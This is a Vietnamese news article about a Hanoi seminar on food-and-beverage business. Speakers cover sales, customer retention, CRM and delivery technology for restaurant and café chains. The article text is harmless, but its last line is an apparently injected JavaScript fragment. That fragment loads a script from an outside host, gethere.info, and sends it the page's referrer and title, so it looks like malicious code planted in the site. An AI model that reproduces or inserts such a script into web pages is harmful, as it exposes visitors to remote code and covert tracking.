Thành công của Hội thảo Kinh doanh F&B: Nâng cao doanh số – Giữ chân khách hàng, nơi các chủ nhà hàng giao lưu và học hỏi

Vào sáng ngày 26/11 vừa qua, hội thảo “Kinh doanh F&B: Nâng cao doanh số – Giữ chân khách hàng” đã được diễn ra tại khách sạn Metropole Hà Nội với hơn 140 khách mời tham dự.

Đây là một trong số ít các hội thảo chuyên nghiệp về ngành kinh doanh ẩm thực (F&B) được tổ chức tại Hà Nội. Mặc dù ngành F&B tại Việt Nam được đánh giá là đang trong thời kỳ bùng nổ với rất nhiều những chuỗi nội địa cũng như các thương hiệu lớn du nhập từ nước ngoài nhưng những hội thảo chuyên nghiệp về vấn đề này lại chưa được tổ chức nhiều và có độ chuyên nghiệp cao.

Hội thảo “Kinh doanh F&B: Nâng cao doanh số – Giữ chân khách hàng”

Sự kiện lần này do công ty iPOS.vn tổ chức với tài trợ chính đến từ thương hiệu Fujitsu Việt Nam, bảo trợ truyền thông của chuyên trang kinhdoanhnhahang.vn, khách mời chia sẻ kinh nghiệm gồm có: chị Minh Nhật – nhà sáng lập và giám đốc chuỗi Bánh Mì Minh Nhật, anh Quang Trung – Digital Director chuỗi The Coffee House, anh Anh Quốc – giám đốc điều hành công ty tư vấn dịch vụ nhà hàng Abele HRS. Bên cạnh đó, hội thảo cũng quy tụ hơn 30 nhà cung cấp các dịch vụ đầu vào cho ngành F&B như: marketing nhà hàng, pha chế, thiết kế, setup, mạng xã hội ẩm thực, giải pháp vận chuyển đồ ăn, v…v…

Với hơn 20 năm kinh nghiệm trong các dự án tư vấn setup nhà hàng/ café cũng như trực tiếp vận hành nhiều thương hiệu lớn, chuyên gia Anh Quốc đã chia sẻ về 8 bí quyết nâng cao doanh số trong ngành F&B. Vấn đề được quan tâm nhiều nhất trong bài chia sẻ này chính là quy tắc và phương pháp để giữ chân thực khách cũng như ưu nhược điểm của 3 chiến thuật marketing phổ biến hiện nay trong ngành kinh doanh ẩm thực. Đây là công thức mà anh đã áp dụng cho một số khách hàng tiêu biểu của mình như: tập đoàn ẩm thực Lã Vọng, chuỗi nhà hàng Đệ Nhất, nhà hàng Lục Thủy, tổ hợp dịch vụ cao cấp Sao Mai, v…v…

Trong phần chia sẻ về chủ đề “Xu hướng công nghệ trong ngành kinh doanh ẩm thực”, ông  Đỗ Văn Vinh – CTO của iPOS.vn đã chia sẻ về một hệ thống CRM (quản trị mối quan hệ khách hàng) chuẩn mực và hỗ trợ quản chăm sóc thực khách thân thiết. Xu hướng thẻ hội viên điện tử với các ưu đãi hấp dẫn được gửi trực tiếp tới từng khách hàng trên trước sẽ dần thay thế thẻ vật lý vốn được sử dụng hiện nay. Thậm chí ngay cả trong mảng giao đồ ăn, hiện nay người đặt đồ cũng hoàn toàn có thể theo dõi chi tiết đơn hàng của mình di chuyển trên bản đồ, cũng như đánh giá chất lượng dịch vụ (cả đồ ăn và nghiệp vụ logistics).

Phần thú vị nhất mà đông đảo khách mời – những người đang kinh doanh trong ngành F&B mong đợi chính là tọa đàm với đại diện của các thương hiệu ẩm thực đang thành công trên thị trường hiện nay: Bánh Mì Minh Nhật & The Coffee House. Với kinh nghiệm phát triển chuỗi theo mô hình fastfood, chị Minh Nhật cho rằng một trong những yếu tố quan trọng nhất trong ngành F&B chính là đào tạo đội ngũ nhân sự. Tại Bánh Mì Minh Nhật, đội ngũ nhân sự đều đi theo đúng quy trình tuyển dụng và đào tạo bài bản nhằm đảm bảo sự gắn bó của nhân viên và sự chuyên nghiệp trong dịch vụ. Riêng với concept fastfood thì vấn đề delivery và quản trị hotline là cực kỳ cấp thiết và nếu không nhờ có công nghệ, sự chuyên nghiệp trong các nghiệp vụ trên khó có thể đạt được.

Đi theo mô hình kinh doanh cà phê hiện đại, The Coffee House đã trở thành một cái tên đình đám trong suốt hơn 2 năm qua tại Việt Nam với hơn 40 điểm bán trải dọc cả nước. Anh Trung – giám đốc công nghệ số của thương hiệu này cho biết với tốc độ phát triển mở rộng rất nhanh như The Coffee House, việc số hóa quy trình quản trị thông tin nội bộ là vô cùng cần thiết. Bên cạnh đó, hệ thống ecommerce, giao hàng và CRM của The Coffee House cũng được đầu tư rất bài bản. Tiêu biểu trong việc áp dụng công nghệ để tăng trải nghiệm ấn tượng của khách hàng chính là chiến dịch “Uber cà phê buổi sáng” được tạo nên bởi sự kết hợp giữa 3 đơn vị: The Coffee House, Uber và iPOS

Chia sẻ sau hội thảo, chị Huyền, chủ thương hiệu trà sữa TocoToco (với hơn 40 điểm bán) cho rằng: “Để phát triển hơn nữa ngành F&B tại Việt, rất cần thêm những hội thảo như thế này để các cá nhân kinh doanh nhà hàng có thêm kiến thức về những xu hướng mới trong ngành ẩm thực, cũng như để kết nối với các nhà cung cấp dịch vụ đầu vào chất lượng.”

Các thương hiệu F&B cùng các công ty nội địa cung cấp dịch vụ hỗ trợ đang phối hợp cùng nhau để nâng tầm ngành ẩm thực Việt Nam.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;